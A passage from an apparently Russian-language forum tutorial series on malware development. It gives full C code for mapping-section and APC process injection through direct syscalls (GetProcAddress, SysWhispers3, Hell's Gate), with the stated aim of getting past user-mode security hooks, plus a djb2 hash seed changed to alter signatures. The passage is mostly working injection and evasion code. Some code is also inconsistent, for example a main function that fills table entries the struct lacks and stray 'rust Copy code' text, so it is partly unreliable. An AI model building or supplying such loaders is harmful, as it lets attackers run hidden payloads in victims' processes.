if ((STATUS = St.pNtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &MaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != 0) {
printf("[!] NtCreateSection Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
if ((STATUS = St.pNtMapViewOfSection(hSection, (HANDLE)-1, &pAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
printf("[!] NtMapViewOfSection Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] Allocated Address At : 0x%p Of Size : %d \n", pAddress, sViewSize);
//--------------------------------------------------------------------------
// Запись полезной нагрузки
printf("[#] Press <Enter> To Write The Payload ... ");
getchar();
memcpy(pAddress, pPayload, sPayloadSize);
printf("\t[+] Payload is Copied From 0x%p To 0x%p \n", pPayload, pAddress);
//--------------------------------------------------------------------------
// Выполнение полезной нагрузки с помощью создания потока
printf("[#] Press <Enter> To Run The Payload ... ");
getchar();
printf("\t[i] Running Thread Of Entry 0x%p ... ", pAddress);
if ((STATUS = St.pNtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, (HANDLE)-1, pAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
printf("[!] NtCreateThreadEx Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] DONE \n");
printf("\t[+] Thread Created With Id : %d \n", GetThreadId(hThread));
//--------------------------------------------------------------------------
// Отключение локального отображения - только после выполнения полезной нагрузки
if ((STATUS = St.pNtUnmapViewOfSection((HANDLE)-1, pAddress)) != 0) {
printf("[!] NtUnmapViewOfSection Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
// Закрытие дескриптора секции
if ((STATUS = St.pNtClose(hSection)) != 0) {
printf("[!] NtClose Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
return TRUE;
}
C:
BOOL RemoteMappingInjectionViaSyscalls(IN HANDLE hProcess, IN PVOID pPayload, IN SIZE_T sPayloadSize) {
HANDLE hSection = NULL;
HANDLE hThread = NULL;
PVOID pLocalAddress = NULL,
pRemoteAddress = NULL;
NTSTATUS STATUS = NULL;
SIZE_T sViewSize = NULL;
LARGE_INTEGER MaximumSize = {
.HighPart = 0,
.LowPart = sPayloadSize
};
Syscall St = { 0 };
// Инициализация структуры 'St' для получения адресов системных вызовов
if (!InitializeSyscallStruct(&St)) {
printf("[!] Could Not Initialize The Syscall Struct \n");
return FALSE;
}
// Выделение отображения в удаленном процессе
if ((STATUS = St.pNtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &MaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != 0) {
printf("[!] NtCreateSection Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
if ((STATUS = St.pNtMapViewOfSection(hSection, (HANDLE)-1, &pLocalAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
printf("[!] NtMapViewOfSection Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] Allocated Local Address At : 0x%p Of Size : %d \n", pLocalAddress, sViewSize);
// Запись полезной нагрузки в локальное отображение
printf("[#] Press <Enter> To Write The Payload ... ");
getchar();
memcpy(pLocalAddress, pPayload, sPayloadSize);
printf("\t[+] Payload is Copied From 0x%p To 0x%p \n", pPayload, pLocalAddress);
// Получение адреса в удаленном процессе
if ((STATUS = St.pNtMapViewOfSection(hSection, hProcess, &pRemoteAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
printf("[!] NtMapViewOfSection Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] Allocated Remote Address At : 0x%p Of Size : %d \n", pRemoteAddress, sViewSize);
// Запуск полезной нагрузки в удаленном процессе
printf("[#] Press <Enter> To Run The Payload ... ");
getchar();
printf("\t[i] Running Thread Of Entry 0x%p In The Remote Process ... ", pRemoteAddress);
if ((STATUS = St.pNtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pRemoteAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
printf("[!] NtCreateThreadEx Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] DONE \n");
printf("\t[+] Thread Created With Id : %d \n", GetThreadId(hThread));
// Освобождение локального отображения
if ((STATUS = St.pNtUnmapViewOfSection((HANDLE)-1, pLocalAddress)) != 0) {
printf("[!] NtUnmapViewOfSection Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
// Закрытие дескриптора секции
if ((STATUS = St.pNtClose(hSection)) != 0) {
printf("[!] NtClose Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
return TRUE;
}
Функцию NtUnmapViewOfSection следует выполнять только после завершения выполнения полезной нагрузки. Попытка отмены отображения локального представления во время выполнения полезной нагрузки может привести к нарушению выполнения полезной нагрузки или вызвать сбой процесса. В качестве альтернативы можно использовать системный вызов NtWaitForSingleObject для ожидания завершения потока, после чего можно выполнить системный вызов NtUnmapViewOfSection для очистки отображенной полезной нагрузки. Однако это остается на усмотрение читателя.
Реализация с использованием SysWhispers
В данной реализации используется SysWhispers3 для обхода пользовательских хуков через прямые системные вызовы. Для создания необходимых файлов для этой реализации используется следующая команда.
Код:
python syswhispers.py -a x64 -c msvc -m jumper_randomized -f NtCreateSection,NtMapViewOfSection,NtUnmapViewOfSection,NtClose,NtCreateThreadEx -o SysWhispers -v*
Генерируются три файла: SysWhispers.h, SysWhispers.c и SysWhispers-asm.x64.asm.
Следующим шагом является импорт этих файлов в Visual Studio, как показано было выше.
Ниже приведены функции LocalMappingInjectionViaSyscalls и RemoteMappingInjectionViaSyscalls.
C:
BOOL LocalMappingInjectionViaSyscalls(IN PVOID pPayload, IN SIZE_T sPayloadSize) {
HANDLE hSection = NULL;
HANDLE hThread = NULL;
PVOID pAddress = NULL;
NTSTATUS STATUS = NULL;
SIZE_T sViewSize = NULL;
LARGE_INTEGER MaximumSize = {
.HighPart = 0,
.LowPart = sPayloadSize
};
//--------------------------------------------------------------------------
// Выделение локального представления
if ((STATUS = NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &MaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != 0) {
printf("[!] NtCreateSection завершилась с ошибкой: 0x%0.8X \n", STATUS);
return FALSE;
}
if ((STATUS = NtMapViewOfSection(hSection, (HANDLE)-1, &pAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
printf("[!] NtMapViewOfSection завершилась с ошибкой: 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] Выделен адрес: 0x%p размером: %d \n", pAddress, sViewSize);
//--------------------------------------------------------------------------
// Запись полезной нагрузки
printf("[#] Нажмите <Enter>, чтобы записать полезную нагрузку ... ");
getchar();
memcpy(pAddress, pPayload, sPayloadSize);
printf("\t[+] Полезная нагрузка скопирована с 0x%p по 0x%p \n", pPayload, pAddress);
//--------------------------------------------------------------------------
// Выполнение полезной нагрузки через создание потока
printf("[#] Нажмите <Enter>, чтобы запустить полезную нагрузку ... ");
getchar();
printf("\t[i] Запуск потока с точки входа 0x%p ... ", pAddress);
if ((STATUS = NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, (HANDLE)-1, pAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
printf("[!] NtCreateThreadEx завершилась с ошибкой: 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] ГОТОВО \n");
printf("\t[+] Поток создан с ID : %d \n", GetThreadId(hThread));
//--------------------------------------------------------------------------
// Отмена отображения локального представления - только после завершения выполнения полезной нагрузки
if ((STATUS = NtUnmapViewOfSection((HANDLE)-1, pAddress)) != 0) {
printf("[!] NtUnmapViewOfSection завершилась с ошибкой: 0x%0.8X \n", STATUS);
return FALSE;
}
// Закрытие дескриптора раздела
if ((STATUS = NtClose(hSection)) != 0) {
printf("[!] NtClose завершилась с ошибкой: 0x%0.8X \n", STATUS);
return FALSE;
}
return TRUE;
}
C:
BOOL RemoteMappingInjectionViaSyscalls(IN HANDLE hProcess, IN PVOID pPayload, IN SIZE_T sPayloadSize) {
HANDLE hSection = NULL;
HANDLE hThread = NULL;
PVOID pLocalAddress = NULL,
pRemoteAddress = NULL;
NTSTATUS STATUS = NULL;
SIZE_T sViewSize = NULL;
LARGE_INTEGER MaximumSize = {
.HighPart = 0,
.LowPart = sPayloadSize
};
//--------------------------------------------------------------------------
// Выделение локального представления
if ((STATUS = NtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, &MaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != 0) {
printf("[!] NtCreateSection завершилась с ошибкой: 0x%0.8X \n", STATUS);
return FALSE;
}
if ((STATUS = NtMapViewOfSection(hSection, (HANDLE)-1, &pLocalAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_READWRITE)) != 0) {
printf("[!] NtMapViewOfSection [L] завершилась с ошибкой: 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] Локальная память выделена по адресу: 0x%p размером: %d \n", pLocalAddress, sViewSize);
//--------------------------------------------------------------------------
// Запись полезной нагрузки
printf("[#] Нажмите <Enter>, чтобы записать полезную нагрузку ... ");
getchar();
memcpy(pLocalAddress, pPayload, sPayloadSize);
printf("\t[+] Полезная нагрузка скопирована с 0x%p по 0x%p \n", pPayload, pLocalAddress);
//--------------------------------------------------------------------------
// Выделение удаленного представления
if ((STATUS = NtMapViewOfSection(hSection, hProcess, &pRemoteAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
printf("[!] NtMapViewOfSection [R] завершилась с ошибкой: 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] Удаленная память выделена по адресу: 0x%p размером: %d \n", pRemoteAddress, sViewSize);
//--------------------------------------------------------------------------
// Выполнение полезной нагрузки через создание потока
printf("[#] Нажмите <Enter>, чтобы запустить полезную нагрузку ... ");
getchar();
printf("\t[i] Запуск потока с точки входа 0x%p ... ", pRemoteAddress);
if ((STATUS = NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pRemoteAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
printf("[!] NtCreateThreadEx завершилась с ошибкой: 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] ГОТОВО \n");
printf("\t[+] Поток создан с ID : %d \n", GetThreadId(hThread));
//--------------------------------------------------------------------------
// Отмена отображения локального представления - только после завершения выполнения полезной нагрузки
if ((STATUS = NtUnmapViewOfSection((HANDLE)-1, pLocalAddress)) != 0) {
printf("[!] NtUnmapViewOfSection завершилась с ошибкой: 0x%0.8X \n", STATUS);
return FALSE;
}
// Закрытие дескриптора раздела
if ((STATUS = NtClose(hSection)) != 0) {
printf("[!] NtClose завершилась с ошибкой: 0x%0.8X \n", STATUS);
return FALSE;
}
return TRUE;
}
Реализация с использованием Hell's Gate
Последняя реализация для этого модуля использует Hell's Gate. Во-первых, убедитесь, что выполняются те же шаги, что и для настройки проекта Visual Studio с SysWhispers3.
В частности, включение MASM и изменение свойств для установки файла ASM для компиляции с использованием Microsoft Macro Assembler.
Обновление структуры VX_TABLE
C:
typedef struct _VX_TABLE {
VX_TABLE_ENTRY NtCreateSection;
VX_TABLE_ENTRY NtMapViewOfSection;
VX_TABLE_ENTRY NtUnmapViewOfSection;
VX_TABLE_ENTRY NtClose;
VX_TABLE_ENTRY NtCreateThreadEx;
} VX_TABLE, * PVX_TABLE;
Обновление значения Seed Value
Новое значение семени будет использоваться
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
, чтобы изменить хэш-значения системных вызовов. Функция хеширования djb2 обновляется с новым значением Seed Value, приведенным ниже:
C:
DWORD64 djb2(PBYTE str) {
DWORD64 dwHash = 0x77347734DEADBEEF; // Старое значение: 0x7734773477347734
INT c;
while (c = *str++)
dwHash = ((dwHash << 0x5) + dwHash) + c;
return dwHash;
}
Теперь необходимо сгенерировать хэш-значений djb2 для функций (Напишите консольную программу например):
C:
printf("#define %s%s 0x%p \n", "NtCreateSection", "_djb2", (DWORD64)djb2("NtCreateSection"));
printf("#define %s%s 0x%p \n", "NtMapViewOfSection", "_djb2", djb2("NtMapViewOfSection"));
printf("#define %s%s 0x%p \n", "NtUnmapViewOfSection", "_djb2", djb2("NtUnmapViewOfSection"));
printf("#define %s%s 0x%p \n", "NtClose", "_djb2", djb2("NtClose"));
printf("#define %s%s 0x%p \n", "NtCreateThreadEx", "_djb2", djb2("NtCreateThreadEx"));
Как только значения сгенерированы, добавьте их в начало проекта Hell's Gate:
C:
#define NtCreateSection_djb2 0x5687F81AC5D1497A
#define NtMapViewOfSection_djb2 0x0778E82F702E79D4
#define NtUnmapViewOfSection_djb2 0x0BF2A46A27B93797
#define NtClose_djb2 0x0DA4FA80EF5031E7
#define NtCreateThreadEx_djb2 0x2786FB7E75145F1A
Функции LocalMappingInjectionViaSyscalls и RemoteMappingInjectionViaSyscalls
C:
BOOL LocalMappingInjectionViaSyscalls(IN PVX_TABLE pVxTable, IN PVOID pPayload, IN SIZE_T sPayloadSize) {
HANDLE hSection = NULL;
HANDLE hThread = NULL;
PVOID pAddress = NULL;
NTSTATUS STATUS = NULL;
SIZE_T sViewSize = NULL;
LARGE_INTEGER MaximumSize = {
.HighPart = 0,
.LowPart = sPayloadSize
};
//--------------------------------------------------------------------------
// Выделение локального представления
HellsGate(pVxTable->NtCreateSection.wSystemCall);
if ((STATUS = HellDescent(&hSection, SECTION_ALL_ACCESS, NULL, &MaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != 0) {
printf("[!] NtCreateSection завершилась с ошибкой: 0x%0.8X \n", STATUS);
return FALSE;
}
HellsGate(pVxTable->NtMapViewOfSection.wSystemCall);
if ((STATUS = HellDescent(hSection, (HANDLE)-1, &pAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
printf("[!] NtMapViewOfSection завершилась с ошибкой: 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] Выделен адрес: 0x%p размером: %ld \n", pAddress, sViewSize);
//--------------------------------------------------------------------------
// Запись полезной нагрузки
printf("[#] Нажмите <Enter>, чтобы записать полезную нагрузку ... ");
getchar();
memcpy(pAddress, pPayload, sPayloadSize);
printf("\t[+] Полезная нагрузка скопирована с 0x%p по 0x%p \n", pPayload, pAddress);
printf("[#] Нажмите <Enter>, чтобы запустить полезную нагрузку ... ");
getchar();
//--------------------------------------------------------------------------
// Выполнение полезной нагрузки через создание потока
printf("\t[i] Запуск потока с точки входа 0x%p ... ", pAddress);
HellsGate(pVxTable->NtCreateThreadEx.wSystemCall);
if ((STATUS = HellDescent(&hThread, THREAD_ALL_ACCESS, NULL, (HANDLE)-1, pAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
printf("[!] NtCreateThreadEx завершилась с ошибкой: 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] ГОТОВО \n");
printf("\t[+] Поток создан с ID : %d \n", GetThreadId(hThread));
//--------------------------------------------------------------------------
// Отмена отображения локального представления - только после завершения выполнения полезной нагрузки
HellsGate(pVxTable->NtUnmapViewOfSection.wSystemCall);
if ((STATUS = HellDescent((HANDLE)-1, pAddress)) != 0) {
printf("[!] NtUnmapViewOfSection завершилась с ошибкой: 0x%0.8X \n", STATUS);
return FALSE;
}
// Закрытие дескриптора раздела
HellsGate(pVxTable->NtClose.wSystemCall);
if ((STATUS = HellDescent(hSection)) != 0) {
printf("[!] NtClose завершилась с ошибкой: 0x%0.8X \n", STATUS);
return FALSE;
}
return TRUE;
}
C:
BOOL RemoteMappingInjectionViaSyscalls(IN PVX_TABLE pVxTable, IN HANDLE hProcess, IN PVOID pPayload, IN SIZE_T sPayloadSize) {
HANDLE hSection = NULL;
HANDLE hThread = NULL;
PVOID pLocalAddress = NULL,
pRemoteAddress = NULL;
NTSTATUS STATUS = NULL;
SIZE_T sViewSize = NULL;
LARGE_INTEGER MaximumSize = {
.HighPart = 0,
.LowPart = sPayloadSize
};
//--------------------------------------------------------------------------
// Выделение локального представления
HellsGate(pVxTable->NtCreateSection.wSystemCall);
if ((STATUS = HellDescent(&hSection, SECTION_ALL_ACCESS, NULL, &MaximumSize, PAGE_EXECUTE_READWRITE, SEC_COMMIT, NULL)) != 0) {
printf("[!] NtCreateSection завершилась с ошибкой: 0x%0.8X \n", STATUS);
return FALSE;
}
HellsGate(pVxTable->NtMapViewOfSection.wSystemCall);
if ((STATUS = HellDescent(hSection, (HANDLE)-1, &pLocalAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_READWRITE)) != 0) {
printf("[!] NtMapViewOfSection [L] завершилась с ошибкой: 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] Локальная память выделена по адресу: 0x%p размером: %d \n", pLocalAddress, sViewSize);
//--------------------------------------------------------------------------
// Запись полезной нагрузки
printf("[#] Нажмите <Enter>, чтобы записать полезную нагрузку ... ");
getchar();
memcpy(pLocalAddress, pPayload, sPayloadSize);
printf("\t[+] Полезная нагрузка скопирована с 0x%p по 0x%p \n", pPayload, pLocalAddress);
//--------------------------------------------------------------------------
// Выделение удаленного представления
HellsGate(pVxTable->NtMapViewOfSection.wSystemCall);
if ((STATUS = HellDescent(hSection, hProcess, &pRemoteAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
printf("[!] NtMapViewOfSection [R] завершилась с ошибкой: 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] Удаленная память выделена по адресу: 0x%p размером: %d \n", pRemoteAddress, sViewSize);
//--------------------------------------------------------------------------
// Выполнение полезной нагрузки через создание потока
printf("[#] Нажмите <Enter>, чтобы запустить полезную нагрузку ... ");
getchar();
printf("\t[i] Запуск потока с точки входа 0x%p ... ", pRemoteAddress);
HellsGate(pVxTable->NtCreateThreadEx.wSystemCall);
if ((STATUS = HellDescent(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, pRemoteAddress, NULL, NULL, NULL, NULL, NULL, NULL)) != 0) {
printf("[!] NtCreateThreadEx завершилась с ошибкой: 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] ГОТОВО \n");
printf("\t[+] Поток создан с ID: %d \n", GetThreadId(hThread));
//--------------------------------------------------------------------------
// Отмена отображения локального представления - только после завершения выполнения полезной нагрузки
HellsGate(pVxTable->NtUnmapViewOfSection.wSystemCall);
if ((STATUS = HellDescent((HANDLE)-1, pLocalAddress)) != 0) {
printf("[!] NtUnmapViewOfSection завершилась с ошибкой: 0x%0.8X \n", STATUS);
return FALSE;
}
// Закрытие дескриптора раздела
HellsGate(pVxTable->NtClose.wSystemCall);
if ((STATUS = HellDescent(hSection)) != 0) {
printf("[!] NtClose завершилась с ошибкой: 0x%0.8X \n", STATUS);
return FALSE;
}
return TRUE;
}
Обновление главной функции
Главная функция должна быть обновлена, чтобы вызывать LocalMappingInjectionViaSyscalls вместо
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
. Функция будет использовать выше сгенерированные хэши, как показано ниже.
C:
INT main() {
// Getting the PEB structure
PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
if (!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion != 0xA)
return 0x1;
// Getting the NTDLL module
PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10);
// Getting the EAT of Ntdll
PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;
if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL)
return 0x01;
//--------------------------------------------------------------------------
// Initializing the 'Table' structure
VX_TABLE Table = { 0 };
Table.NtAllocateVirtualMemory.dwHash = NtAllocateVirtualMemory_djb2;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory))
return 0x1;
Table.NtWriteVirtualMemory.dwHash = NtWriteVirtualMemory_djb2;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWriteVirtualMemory))
return 0x1;
Table.NtProtectVirtualMemory.dwHash = NtProtectVirtualMemory_djb2;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtProtectVirtualMemory))
return 0x1;
Table.NtCreateThreadEx.dwHash = NtCreateThreadEx_djb2;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtCreateThreadEx))
return 0x1;
//--------------------------------------------------------------------------
// injection code - calling the 'ClassicInjectionViaSyscalls' function
// If local injection
#ifdef LOCAL_INJECTION if (!LocalMappingInjectionViaSyscalls(&Table, (HANDLE)-1, Payload, sizeof(Payload)))
return 0x1;
#endif // LOCAL_INJECTION// If remote injection
#ifdef REMOTE_INJECTION// Open a handle to the target process
printf("[i] Targeting process of id : %d \n", PROCESS_ID);
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PROCESS_ID);
if (hProcess == NULL) {
printf("[!] OpenProcess Failed With Error : %d \n", GetLastError());
return -1;
}
if (!RemoteMappingInjectionViaSyscalls(&Table, hProcess, Payload, sizeof(Payload)))
return 0x1;
#endif // REMOTE_INJECTIONreturn 0x00;
}
Локальная vs удаленная инъекция
Аналогично предыдущему модулю, был создан макрос-препроцессорный код для целей локального процесса, если LOCAL_INJECTION определено. Пример препроцессорного кода приведен ниже:
Код:
#define LOCAL_INJECTION#ifndef LOCAL_INJECTION#define REMOTE_INJECTION// Установите PID целевого процесса
#define PROCESS_ID 18784 #endif // !LOCAL_INJECTION
Давайте теперь перепишем технику Уроки - Разработка вирусов-19.Изучаем технику APC Injection
Этот модуль реализует технику инъекции APC с использованием прямых системных вызовов, заменяя WinAPI на их эквиваленты с использованием системных вызовов. Выделение памяти и запись полезной нагрузки будут выполняться с использованием функций NtAllocateVirtualMemory, NtProtectVirtualMemory и NtWriteVirtualMemory, которые уже обсуждались в реализации классической инъекции. Оставшийся системный вызов, который будет объяснен, - это NtQueueApcThread.
QueueUserAPC заменен на NtQueueApcThread.
NtQueueApcThread
Этот системный вызов является результатом QueueUserAPC WinAPI. Nиже приведен пример NtQueueApcThread.
C:
NTSTATUS NtQueueApcThread(
IN HANDLE ThreadHandle, // Дескриптор потока для выполнения указанной APC
IN PIO_APC_ROUTINE ApcRoutine, // Указатель на предоставленную пользователем функцию APC для выполнения
IN PVOID ApcRoutineContext OPTIONAL, // Указатель на параметр (1) для APC (установлен в NULL)
IN PIO_STATUS_BLOCK ApcStatusBlock OPTIONAL, // Указатель на параметр (2) для APC (установлен в NULL)
IN ULONG ApcReserved OPTIONAL // Указатель на параметр (3) для APC (установлен в NULL)
);
Первые два параметра тривиальны для понимания. Оставшиеся три - ApcRoutineContext, ApcStatusBlock и ApcReserved, используются в качестве параметров для функции APC, ApcRoutine.
Создание потока, поддерживающего сигналы
Поскольку техника инъекции APC требует наличия потока в состоянии, поддерживающем сигналы, это обеспечивается с использованием функции CreateThread WinAPI.
Функция AlterableFunction будет вызываться жертвенным потоком.
C:
VOID AlterableFunction() {
HANDLE hEvent = CreateEvent(NULL, NULL, NULL, NULL);
MsgWaitForMultipleObjectsEx(
1,
&hEvent,
INFINITE,
QS_HOTKEY,
MWMO_ALERTABLE
);
}
Реализация с использованием GetProcAddress и GetModuleHandle
Создается и инициализируется структура Syscall с помощью функции InitializeSyscallStruct, которая содержит адреса используемых системных вызовов, как показано ниже.
C:
typedef struct _Syscall {
fnNtAllocateVirtualMemory pNtAllocateVirtualMemory;
fnNtProtectVirtualMemory pNtProtectVirtualMemory;
fnNtWriteVirtualMemory pNtWriteVirtualMemory;
fnNtQueueApcThread pNtQueueApcThread;
} Syscall, * PSyscall;
Функция для заполнения структуры 'St'
C:
BOOL InitializeSyscallStruct(OUT PSyscall St) {
rust
Copy code
HMODULE hNtdll = GetModuleHandle(L"NTDLL.DLL");
if (!hNtdll) {
printf("[!] GetModuleHandle Failed With Error : %d \n", GetLastError());
return FALSE;
}
St->pNtAllocateVirtualMemory = (fnNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
St->pNtProtectVirtualMemory = (fnNtProtectVirtualMemory)GetProcAddress(hNtdll, "NtProtectVirtualMemory");
St->pNtWriteVirtualMemory = (fnNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
St->pNtQueueApcThread = (fnNtQueueApcThread)GetProcAddress(hNtdll, "NtQueueApcThread");
// Проверка, что GetProcAddress не пропустил системный вызов
if (St->pNtAllocateVirtualMemory == NULL || St->pNtProtectVirtualMemory == NULL || St->pNtWriteVirtualMemory == NULL || St->pNtQueueApcThread == NULL)
return FALSE;
else
return TRUE;
}
Далее функция ApcInjectionViaSyscalls будет отвечать за выделение, запись и выполнение полезной нагрузки pPayload в целевом процессе hProcess. Она будет использовать дескриптор жертвенного потока hThread. Функция возвращает FALSE, если не удается выполнить полезную нагрузку, и TRUE, если выполнение прошло успешно.
C:
BOOL ApcInjectionViaSyscalls(IN HANDLE hProcess, IN HANDLE hThread, IN PVOID pPayload, IN SIZE_T sPayloadSize) {
Syscall St = { 0 };
NTSTATUS STATUS = NULL;
PVOID pAddress = NULL;
ULONG uOldProtection = NULL;
SIZE_T sSize = sPayloadSize,
sNumberOfBytesWritten = NULL;
// Инициализация структуры 'St' для получения адресов системных вызовов
if (!InitializeSyscallStruct(&St)) {
printf("[!] Could Not Initialize The Syscall Struct \n");
return FALSE;
}
// Выделение памяти
if ((STATUS = St.pNtAllocateVirtualMemory(hProcess, &pAddress, 0, &sSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) {
printf("[!] NtAllocateVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] Allocated Address At : 0x%p Of Size : %d \n", pAddress, sSize);
//--------------------------------------------------------------------------
// Запись полезной нагрузки
printf("[#] Press <Enter> To Write The Payload ... ");
getchar();
printf("\t[i] Writing Payload Of Size %d ... ", sPayloadSize);
if ((STATUS = St.pNtWriteVirtualMemory(hProcess, pAddress, pPayload, sPayloadSize, &sNumberOfBytesWritten)) != 0 || sNumberOfBytesWritten != sPayloadSize) {
printf("[!] pNtWriteVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
printf("[i] Bytes Written : %d of %d \n", sNumberOfBytesWritten, sPayloadSize);
return FALSE;
}
printf("[+] DONE \n");
//--------------------------------------------------------------------------
// Изменение разрешений памяти на RWX
if ((STATUS = St.pNtProtectVirtualMemory(hProcess, &pAddress, &sPayloadSize, PAGE_EXECUTE_READWRITE, &uOldProtection)) != 0) {
printf("[!] NtProtectVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
//--------------------------------------------------------------------------
// Выполнение полезной нагрузки с помощью NtQueueApcThread
printf("[#] Press <Enter> To Run The Payload ... ");
getchar();
printf("\t[i] Running Payload At 0x%p Using Thread Of Id : %d ... ", pAddress, GetThreadId(hThread));
if ((STATUS = St.pNtQueueApcThread(hThread, pAddress, NULL, NULL, NULL)) != 0) {
printf("[!] NtQueueApcThread Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] DONE \n");
return TRUE;
}
Реализация с использованием SysWhispers
Здесь реализация использует SysWhispers3 для обхода пользовательских хуков через прямые системные вызовы. Для этой реализации используется следующая команда для создания необходимых файлов.
Код:
python syswhispers.py -a x64 -c msvc -m jumper_randomized -f NtAllocateVirtualMemory,NtProtectVirtualMemory,NtWriteVirtualMemory,NtQueueApcThread -o SysWhispers -v
Генерируются три файла: SysWhispers.h, SysWhispers.c и SysWhispers-asm.x64.asm.
Следующим шагом является импорт этих файлов в Visual Studio, как было продемонстрировано ранее. Функция ApcInjectionViaSyscalls приведена ниже.
C:
BOOL ApcInjectionViaSyscalls(IN HANDLE hProcess, IN HANDLE hThread, IN PVOID pPayload, IN SIZE_T sPayloadSize) {
Syscall St = { 0 };
NTSTATUS STATUS = NULL;
PVOID pAddress = NULL;
ULONG uOldProtection = NULL;
SIZE_T sSize = sPayloadSize,
sNumberOfBytesWritten = NULL;
// Выделение памяти
if ((STATUS = NtAllocateVirtualMemory(hProcess, &pAddress, 0, &sSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) {
printf("[!] NtAllocateVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] Allocated Address At : 0x%p Of Size : %d \n", pAddress, sSize);
//--------------------------------------------------------------------------
// Запись полезной нагрузки
printf("[#] Press <Enter> To Write The Payload ... ");
getchar();
printf("\t[i] Writing Payload Of Size %d ... ", sPayloadSize);
if ((STATUS = NtWriteVirtualMemory(hProcess, pAddress, pPayload, sPayloadSize, &sNumberOfBytesWritten)) != 0 || sNumberOfBytesWritten != sPayloadSize) {
printf("[!] pNtWriteVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
printf("[i] Bytes Written : %d of %d \n", sNumberOfBytesWritten, sPayloadSize);
return FALSE;
}
printf("[+] DONE \n");
//--------------------------------------------------------------------------
// Изменение разрешений памяти на RWX
if ((STATUS = NtProtectVirtualMemory(hProcess, &pAddress, &sPayloadSize, PAGE_EXECUTE_READWRITE, &uOldProtection)) != 0) {
